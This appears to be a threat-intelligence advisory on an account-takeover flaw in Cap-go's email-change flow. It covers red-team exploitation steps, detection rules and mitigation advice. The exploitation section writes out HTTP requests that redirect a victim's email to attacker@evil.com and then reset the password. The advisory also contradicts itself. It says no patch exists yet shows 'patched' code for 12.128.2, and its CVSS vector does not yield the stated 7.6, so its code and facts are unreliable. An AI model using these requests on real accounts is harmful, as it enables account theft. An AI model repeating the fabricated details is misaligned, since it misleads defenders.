CVE-2026-53981

Executive Summary

CVE-2026-53981 is a critical account takeover vulnerability in Cap-go versions prior to 12.128.2. The flaw resides in the email change mechanism, which fails to enforce re-authentication (password or MFA) before allowing a user to change their registered email address. An attacker with temporary authenticated session access can exploit this by redirecting the verification email to an attacker-controlled address, then performing a password reset to permanently take over the victim's account. The CVSS score is 7.6 (High), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

Cap-go is a Go-based package. The vulnerability affects the email change flow within the application. Since no official patch has been released, organizations using Cap-go should consider this a supply chain risk and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs temporary authenticated session access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Deep Dive & Mechanics

The vulnerability is rooted in the email change endpoint of Cap-go. When a user initiates an email change, the application sends a verification link to the new email address. However, the system does not require the user to re-authenticate (e.g., by entering their password or completing an MFA challenge) before processing the change. This allows an attacker who has obtained a temporary authenticated session (e.g., via session hijacking, XSS, or a previous compromise) to:

1. Access the email change functionality.
2. Submit a request to change the victim's email to an attacker-controlled address.
3. The verification email is sent to the attacker's email.
4. The attacker clicks the verification link, completing the email change.
5. The attacker then uses the "forgot password" feature to reset the victim's password, gaining full account control.

The attack does not require the victim's password or MFA token, only a valid session token.

Vulnerable vs. Patched Code

Vulnerable Code (Cap-go < 12.128.2):

func (h *Handler) ChangeEmail(w http.ResponseWriter, r *http.Request) {
    session := getSession(r)
    if session == nil {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    // No re-authentication check
    newEmail := r.FormValue("new_email")
    if !isValidEmail(newEmail) {
        http.Error(w, "Invalid email", http.StatusBadRequest)
        return
    }
    // Send verification email to new email
    sendVerificationEmail(session.UserID, newEmail)
    w.WriteHeader(http.StatusOK)
}

Patched Code (Cap-go >= 12.128.2):

func (h *Handler) ChangeEmail(w http.ResponseWriter, r *http.Request) {
    session := getSession(r)
    if session == nil {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    // Re-authentication required
    password := r.FormValue("password")
    if !authenticate(session.UserID, password) {
        http.Error(w, "Re-authentication required", http.StatusForbidden)
        return
    }
    newEmail := r.FormValue("new_email")
    if !isValidEmail(newEmail) {
        http.Error(w, "Invalid email", http.StatusBadRequest)
        return
    }
    // Send verification email to new email
    sendVerificationEmail(session.UserID, newEmail)
    w.WriteHeader(http.StatusOK)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid authenticated session for the victim account (e.g., via session hijacking).
• Access to the Cap-go application's email change endpoint.

Exploitation Steps:

1. Obtain a valid session token for the victim (e.g., via XSS or session theft).
2. Send a POST request to the email change endpoint with the attacker's email:

   POST /api/change-email HTTP/1.1
   Host: target-app.com
   Cookie: session=attacker_session_token
   Content-Type: application/x-www-form-urlencoded
   
   new_email=attacker@evil.com
   

3. Check the attacker's email inbox for the verification link.
4. Click the verification link to confirm the email change.
5. Use the "forgot password" feature to reset the victim's password:

   POST /api/forgot-password HTTP/1.1
   Host: target-app.com
   Content-Type: application/x-www-form-urlencoded
   
   email=attacker@evil.com
   

6. Receive the password reset link in the attacker's email and set a new password.
7. Log in with the new password and take over the account.

Blue Team

Detection:

• Monitor for multiple email change requests from the same session within a short time frame.
• Alert on email changes followed immediately by password reset requests.
• Log all email change verification link clicks and correlate with session IDs.

Mitigation:

• Implement re-authentication (password or MFA) for sensitive actions like email changes.
• Use rate limiting on email change and password reset endpoints.
• Monitor for anomalous session behavior (e.g., session token used from different IPs).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/change-email with new_email parameter containing an external domain.
  • POST requests to /api/forgot-password shortly after an email change.
• Logs:
  • Multiple email change attempts from the same session.
  • Verification link clicks from IPs not associated with the original session.
• Email:
  • Verification emails sent to addresses not previously associated with the account.
  • Password reset emails sent to newly changed email addresses.

Detection Engineering

YARA Rule

rule CVE_2026_53981_EmailChange {
    meta:
        description = "Detects Cap-go email change requests without re-authentication"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-53981"
    strings:
        $s1 = "/api/change-email" ascii wide nocase
        $s2 = "new_email=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Cap-go Email Change Without Re-authentication
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to change email without password/MFA verification
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53981
logsource:
    category: web
    product: cap-go
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/change-email'
        cs-uri-query|contains: 'new_email='
    condition: selection
falsepositives:
    - Legitimate email changes with re-authentication (patched version)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-53981 Cap-go Email Change Without Re-authentication"; flow:to_server; content:"POST"; http_method; content:"/api/change-email"; http_uri; content:"new_email="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to Cap-go version 12.128.2 or later as soon as a patch is released.
   • If patching is not possible, implement a Web Application Firewall (WAF) rule to block email change requests without a valid password or MFA token.
   • Enforce re-authentication for all sensitive account changes.

2. Long-term Measures:

   • Conduct a security audit of all authentication and authorization flows.
   • Implement multi-factor authentication (MFA) for all users.
   • Monitor for similar vulnerabilities in other parts of the application.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging for all email change and password reset events.
   • Set up alerts for anomalous session behavior.

Valters IT
DevSecOps & Cyber Threat Intelligence